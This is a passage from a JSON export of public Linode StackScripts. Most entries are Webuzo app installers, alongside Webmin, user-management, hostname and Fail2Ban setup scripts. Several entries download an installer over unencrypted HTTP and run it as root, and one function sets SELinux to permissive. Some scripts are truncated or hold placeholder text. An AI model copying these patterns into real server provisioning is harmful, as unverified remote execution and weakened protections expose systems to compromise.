\"#certfile=${certfile}\" >> /etc/webmin/miniserv.conf\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"10000\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n if (ss -tulpn) | grep ''miniserv''; then\n killall -9 miniserv.pl\n fi\n service webmin start\n chkconfig webmin on\n}\n\ndisable_selinux() {\n # relaxes selinux but still logs errors\n setenforce permissive\n sed -i \"s/=enforcing/=permissive/i\" \"/etc/selinux/config\"\n}\n\n\n#### STACKSCRIPT COMPATIBILITY FUNCTIONS\n\nsystem_install_basics() {\n install_essentials\n}\n\nsystem_primary_ip() {\n get_primary_ip\n}\n\nsystem_primary_ip6() {\n get_primary_ip6\n}\n\nsystem_set_hostname() {\n set_hostname \"${1}\"\n}\n\nsystem_add_host_entry() {\n add_host_entry \"${1}\" \"${2}\" \"${3}\"\n}\n\nsystem_set_timezone() {\n set_timezone \"${1}\"\n}\n\nuser_add_sudo() {\n add_sudo_user \"${1}\" \"${2}\"\n}\n\nuser_add_pubkey() {\n add_public_key \"${1}\" \"${2}\"\n}\n\nssh_disable_root() {\n disable_root_login\n disable_password_authentication\n}\n\npostfix_install_loopback_only() {\n install_postfix\n}\n\nenable_fail2ban() {\n install_fail2ban\n}\n\napache_install() {\n install_apache \"${1}\"\n}\n", "user_defined_fields": []}, {"id": 662025, "username": "half5064", "user_gravatar_id": "e76358653afa8908f167511e8379bd1c", "label": "reboot", "description": "reboot", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash''\n#linode-cli linodes reboot $half5064", "user_defined_fields": []}, {"id": 9225, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "XCloner powered by Webuzo", "description": "XCloner is a professional website Backup and Restore application designed to allow you to create safe complete backups of any PHP/Mysql website and to be able to restore them anywhere. It works as a native Joomla backup component, as a native Wordpress backup plugin and also as standalone PHP/Mysql backup application. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure XCloner and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "XCloner powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install XCloner and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About XCloner :\n# XCloner is a professional website Backup and Restore application designed to allow you to create \n# safe complete backups of any PHP/Mysql website and to be able to restore them anywhere.\n# It works as a native Joomla backup component, as a native Wordpress backup plugin and also \n# as standalone PHP/Mysql backup application.\n###########################################################################################################\n\n# Install XCloner Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=458&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling XCloner and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, XCloner has been successfully installed\"\necho \" \"\necho \"You can now configure XCloner and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 83465, "username": "janelle_estelle", "user_gravatar_id": "58c5b6b3e7c996de84adf9c177085ae5", "label": "Stack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n# \n# \n# \n# \n\n\nsource \n\nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 978953, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "admin", "description": "fghtdyjt", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.15", "linode/debian11-kube-v1.21.9", "linode/debian9-kube-v1.22.2", "linode/ubuntu16.04lts", "linode/centos8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ree", "script": "#!/bin/bash\n\ndthfjuffyki", "user_defined_fields": []}, {"id": 9226, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Gallery 2 powered by Webuzo", "description": "Gallery is an open source web based photo album organizer. Gallery gives you an intuitive way to blend photo management seamlessly into your own website whether you''re running a small personal site or a large community site.\r\n\r\nServing millions worldwide, the Gallery project is the most widely used system of its kind. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Gallery 2 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Gallery 2 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Gallery 2 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Gallery 2 :\n# Gallery is an open source web based photo album organizer.\n# Gallery gives you an intuitive way to blend photo management seamlessly into your own website \n# whether you''re running a small personal site or a large community site.\n# Serving millions worldwide, the Gallery project is the most widely used system of its kind. \n###########################################################################################################\n\n# Install Gallery 2 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=383&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Gallery 2 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Gallery 2 has been successfully installed\"\necho \" \"\necho \"You can now configure Gallery 2 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9227, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Eventum powered by Webuzo", "description": "Eventum is a user-friendly and flexible issue tracking system that can be used by a support department to track incoming technical support requests, or by a software development team to quickly organize tasks and bugs.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Eventum and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Eventum powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Eventum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Eventum :\n# Eventum is a user-friendly and flexible issue tracking system that can be used by a support \n# department to track incoming technical support requests, or by a software development team to quickly\n# organize tasks and bugs.\n###########################################################################################################\n\n# Install Eventum Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=394&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Eventum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Eventum has been successfully installed\"\necho \" \"\necho \"You can now configure Eventum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1010699, "username": "manojserver", "user_gravatar_id": "11b2d04632b07576576c4cc464c99ddf", "label": "test", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu21.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# \n# \n# \n# \n\n", "user_defined_fields": [{"name": "company_name", "label": "Company Name", "example": "My Company"}, {"name": "company_email", "label": "Company Email", "example": "my@company.com"}, {"name": "admin_email", "label": "Admin Email", "example": "my@company.com"}, {"name": "admin_password", "label": "Admin Password", "example": "s3cur39a55w0r0"}]}, {"id": 73228, "username": "rizerapp", "user_gravatar_id": "dc70e4f46019425154b0a652de0657da", "label": "lib-system-ubuntu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts", "linode/ubuntu16.10", "linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n# System related utilities\n#\n# Copyright (c) 2010 Filip Wasilewski .\n#\n# My ref: http://www.linode.com/?r=aadfce9845055011e00f0c6c9a5c01158c452deb\n\nfunction lower {\n # helper function\n echo $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction system_update {\n apt-get update && apt-get upgrade -y\n}\n\nfunction system_add_user {\n # system_add_user(username, password, groups, shell=/bin/bash)\n USERNAME=`lower $1`\n PASSWORD=$2\n SUDO_GROUP=$3\n SHELL=$4\n if [ -z \"$4\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --create-home --shell \"$SHELL\" --user-group --groups \"$SUDO_GROUP\" \"$USERNAME\"\n echo \"$USERNAME:$PASSWORD\" | chpasswd\n}\n\nfunction system_add_system_user {\n # system_add_system_user(username, home, shell=/bin/bash)\n USERNAME=`lower $1`\n HOME_DIR=$2\n SHELL=$3\n if [ -z \"$3\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --system --create-home --home-dir \"$HOME_DIR\" --shell \"$SHELL\" --user-group $USERNAME\n}\n\nfunction system_lock_user {\n # system_lock_user(username)\n passwd -l \"$1\"\n}\n\nfunction system_get_user_home {\n # system_get_user_home(username)\n cat /etc/passwd | grep \"^$1:\" | cut --delimiter=\":\" -f6\n}\n\nfunction system_user_add_ssh_key {\n # system_user_add_ssh_key(username, ssh_key)\n USERNAME=`lower $1`\n USER_HOME=`system_get_user_home \"$USERNAME\"`\n sudo -u \"$USERNAME\" mkdir \"$USER_HOME/.ssh\"\n sudo -u \"$USERNAME\" touch \"$USER_HOME/.ssh/authorized_keys\"\n sudo -u \"$USERNAME\" echo \"$2\" >> \"$USER_HOME/.ssh/authorized_keys\"\n chmod 0600 \"$USER_HOME/.ssh/authorized_keys\"\n}\n\nfunction system_sshd_edit_bool {\n # system_sshd_edit_bool (param_name, \"Yes\"|\"No\")\n VALUE=`lower $2`\n if [ \"$VALUE\" == \"yes\" ] || [ \"$VALUE\" == \"no\" ]; then\n sed -i \"s/^#*\\($1\\).*/\\1 $VALUE/\" /etc/ssh/sshd_config\n fi\n}\n\nfunction system_sshd_permitrootlogin {\n system_sshd_edit_bool \"PermitRootLogin\" \"$1\"\n}\n\nfunction system_sshd_passwordauthentication {\n system_sshd_edit_bool \"PasswordAuthentication\" \"$1\"\n}\n\nfunction system_update_hostname {\n # system_update_hostname(system hostname)\n if [ -z \"$1\" ]; then\n echo \"system_update_hostname() requires the system hostname as its first argument\"\n return 1;\n fi\n echo $1 > /etc/hostname\n hostname -F /etc/hostname\n echo -e \"\\n127.0.0.1 $1 $1.local\\n\" >> /etc/hosts\n}\n\nfunction system_security_logcheck {\n aptitude -y install logcheck logcheck-database\n # configure email\n # start after setup\n}\n\nfunction system_security_fail2ban {\n aptitude -y install fail2ban\n}\n\nfunction system_security_ufw_configure_basic {\n # see https://help.ubuntu.com/community/UFW\n ufw logging on\n\n ufw default deny\n\n ufw allow ssh/tcp\n ufw limit ssh/tcp\n\n ufw allow http/tcp\n ufw allow https/tcp\n\n ufw enable\n}\n\nfunction system_configure_private_network {\n # system_configure_private_network(private_ip)\n PRIVATE_IP=$1\n NETMASK=\"255.255.128.0\"\n cat >>/etc/network/interfaces <\n\n###########################################################################################################\n# Install Magento 1.7 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Magento 1.7 :\n# Magento is an Open Source ecommerce web application launched on March 31, 2008.\n# It was created by Varien, building on components of the Zend Framework.\n###########################################################################################################\n\n# Install Magento 1.7 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=465&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Magento 1.7 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Magento 1.7 has been successfully installed\"\necho \" \"\necho \"You can now configure Magento 1.7 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978956, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "Test", "description": "Test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\nteffryt", "user_defined_fields": []}, {"id": 9229, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SVNManager powered by Webuzo", "description": "SVNManager is a PHP web based tool to administer a Apache Subversion repository server. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure SVNManager and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SVNManager powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SVNManager and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SVNManager :\n# SVNManager is a PHP web based tool to administer a Apache Subversion repository server. \n###########################################################################################################\n\n# Install SVNManager Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=380&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SVNManager and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SVNManager has been successfully installed\"\necho \" \"\necho \"You can now configure SVNManager and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9230, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Vty powered by Webuzo", "description": "Vty is a web-based database manager script written with Php. It''s for Mysql.\r\n\r\nYou can connect to Mysql and see and edit your databases and tables. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Vty and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Vty powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Vty and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Vty :\n# Vty is a web-based database manager script written with Php. It''s for Mysql.\n# You can connect to Mysql and see and edit your databases and tables. \n###########################################################################################################\n\n# Install Vty Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=327&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Vty and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Vty has been successfully installed\"\necho \" \"\necho \"You can now configure Vty and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 575759, "username": "jfeinbaum", "user_gravatar_id": "b5810c3cbafb05a4d8a19e3a11e37ab3", "label": "dingdong", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n# This block defines the variables the user of the script needs to input\n# when deploying using this script.\n#\n#\n#\n# HOSTNAME=\n#\n#\n# FQDN=\n\n# This sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the packages on the system from the distribution repositories.\napt-get update\napt-get upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname -F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN) in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields": [{"name": "hostname", "label": "The hostname for the new Linode."}, {"name": "fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id": 712720, "username": "aleksd2000", "user_gravatar_id": "a22bad2fb913c1cd5d89fab0d03de7ee", "label": "Fail2Ban Server", "description": "Fail2Ban Server Setup\n\nFail2Ban is an intrusion prevention software framework that protects computer servers from brute-force attacks. Written in the Python programming language, it is able to run on POSIX systems that have an interface to a packet-control system or firewall installed locally, for example, iptables or TCP Wrapper\n\nThis script installs the Fail2Ban application and creates two \"Jails\" one for SSH, and the other for SSHD.\n\nI hope people find this useful.", "ordinal": 0, "logo_url": "", "images": ["linode/debian10", "linode/debian9", "linode/debian8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Added support for Debian 8 and 9, and added default jail.local file", "script": "#!/bin/bash\n\n# Updating APT Database\napt-get update\n# Taking care of an initial upgrade\napt-get -y upgrade\n\n# Installing Fail2Ban Server\napt-get -y install fail2ban\n\n# Creating initial Jail.local File\ncat < /etc/fail2ban/jail.local\n\n# Default banning action (e.g. iptables, iptables-new,\n# iptables-multiport, shorewall, etc) It is used to define\n# action_* variables. Can be overridden globally or per\n# section within jail.local file\n\n#banaction = ufw\n#banaction_allports = ufw\n\n[ssh]\n\nenabled = true\nport = ssh\nfilter = sshd\nlogpath = /var/log/auth.log\nmaxretry = 1\nfindtime = 1d\nbantime = 1y\n\n[sshd]\nenabled = true\nmaxretry = 1\nfindtime = 1d\nbantime = 1y\n\nEOF\n\nsystemctl reload fail2ban", "user_defined_fields": []}, {"id": 9233, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Plandora powered by Webuzo", "description": "Plandora project was born to be a tool to help the software development process, from the customer requirement until the task conclusion, and consequently gather the \"history\" of project.\r\nThe Plandora system can be useful for teams that have problems with resource bottle-necks, parallel projects, critical dead lines, necessity for scope documentation of tasks and requirements, etc. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Plandora and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Plandora powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Plandora and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Plandora :\n# Plandora project was born to be a tool to help the software development process, from the customer \n# requirement until the task conclusion, and consequently gather the \"history\" of project.\n###########################################################################################################\n\n# Install Plandora Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=424&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> 